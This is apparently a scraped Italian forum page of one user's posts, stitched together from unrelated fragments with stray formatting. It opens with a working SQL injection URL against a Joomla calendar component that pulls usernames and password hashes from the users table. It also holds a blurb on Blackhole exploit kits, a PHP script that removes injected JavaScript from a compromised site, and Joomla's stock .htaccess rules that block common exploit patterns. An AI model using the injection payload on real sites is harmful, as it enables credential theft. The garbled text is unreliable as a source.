Visualizza post
Questa sezione ti permette di visualizzare tutti i post inviati da questo utente. N.B: puoi vedere solo i post relativi alle aree dove hai l'accesso.
index.php?option=com_spidercalendar&date=999999.9%27%20union%20all%20select%20null%2Cnull%2Cconcat%280x3D3D3D3D3D,username,0x3D,password,0x3D3D3D3D3D%29%2Cnull%2Cnull%2Cnull%20from%20jos_users+--+%20D4NB4R[/size][size=78%]Che ne pensate? Ne parliamo anche su gplus, in questo post.[/size]
.
?
Blackhole exploit kits are based on PHP and a MySQL backend and incorporate support for exploiting the most widely used and vulnerable security flaws in order to provide hackers with the highest probability of successful exploitation. The kits typically target versions of the Windowsoperating system and applications installed on Windows platforms....
il cms che ha utilizzato (joomla)sta presentando numerosi problemi su vari server, che sono completamente indipendenti dall'hosting e da tutto il resto.Il problema, volle risolverlo con un file da eseguire due volte: questo il contenuto del suddetto
Deve aggiornarlo.
<?php
function replaceLineInTextFile($file) {
$content = file_get_contents($file);
if (preg_match('/var BrowserDetect.*}else {}/', $content) > 0) {
$content = preg_replace('/var BrowserDetect.*}else {}/', "", $content);
file_put_contents($file, $content);
print "$file -> replaced!\n";
}
}
function fileArray($path, &$result) {
$folder_handle = opendir($path);
$exclude_array = explode("|", ".|..");
while(false !== ($filename = readdir($folder_handle))) {
if(in_array(strtolower($filename), $exclude_array))
continue;
else if(is_dir($path . $filename . "/"))
fileArray($path . $filename . "/", $result);
else
if (preg_match('/\.js/', $filename) > 0)
$result[] = $path . $filename;
}
return $result;
}
$result = array();
fileArray("../", $result);
foreach ($result as $key => $value)
replaceLineInTextFile($value);
?>Perchè ho detto nginx? perchè, a fine del file index.php, ho trovato un iframe con src a questo indirizzo?<?php echo $this->item->event->beforeDisplayContent; ?>RewriteBase /
##
# @package Joomla
# @copyright Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved.
# @license GNU General Public License version 2 or later; see LICENSE.txt
##
##
# READ THIS COMPLETELY IF YOU CHOOSE TO USE THIS FILE!
#
# The line just below this section: 'Options +FollowSymLinks' may cause problems
# with some server configurations. It is required for use of mod_rewrite, but may already
# be set by your server administrator in a way that dissallows changing it in
# your .htaccess file. If using it causes your server to error out, comment it out (add # to
# beginning of line), reload your site in your browser and test your sef url's. If they work,
# it has been set by your server administrator and you do not need it set here.
##
## Can be commented out if causes errors, see notes above.
Options +FollowSymLinks
## Mod_rewrite in use.
RewriteEngine On
## Begin - Rewrite rules to block out some common exploits.
# If you experience problems on your site block out the operations listed below
# This attempts to block the most common type of exploit `attempts` to Joomla!
#
# Block out any script trying to base64_encode data within the URL.
RewriteCond %{QUERY_STRING} base64_encode[^(]*\([^)]*\) [OR]
# Block out any script that includes a <script> tag in URL.
RewriteCond %{QUERY_STRING} (<|%3C)([^s]*s)+cript.*(>|%3E) [NC,OR]
# Block out any script trying to set a PHP GLOBALS variable via URL.
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
# Block out any script trying to modify a _REQUEST variable via URL.
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
# Return 403 Forbidden header and show the content of the root homepage
RewriteRule .* index.php [F]
#
## End - Rewrite rules to block out some common exploits.
## Begin - Custom redirects
#
# If you need to redirect some pages, or set a canonical non-www to
# www redirect (or vice versa), place that code here. Ensure those
# redirects use the correct RewriteRule syntax and the [R=301,L] flags.
#
## End - Custom redirects
##
# Uncomment following line if your webserver's URL
# is not directly related to physical file paths.
# Update Your Joomla! Directory (just / for root).
##
RewriteBase /
## Begin - Joomla! core SEF Section.
#
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
#
# If the requested path and file is not /index.php and the request
# has not already been internally rewritten to the index.php script
RewriteCond %{REQUEST_URI} !^/index\.php
# and the request is for something within the component folder,
# or for the site root, or for an extensionless URL, or the
# requested URL ends with one of the listed extensions
RewriteCond %{REQUEST_URI} /component/|(/[^.]*|\.(php|html?|feed|pdf|vcf|raw))$ [NC]
# and the requested path and file doesn't directly match a physical file
RewriteCond %{REQUEST_FILENAME} !-f
# and the requested path and file doesn't directly match a physical folder
RewriteCond %{REQUEST_FILENAME} !-d
# internally rewrite the request to the index.php script
RewriteRule .* index.php [L]
#
## End - Joomla! core SEF Section.Tutto qui! =)
|
|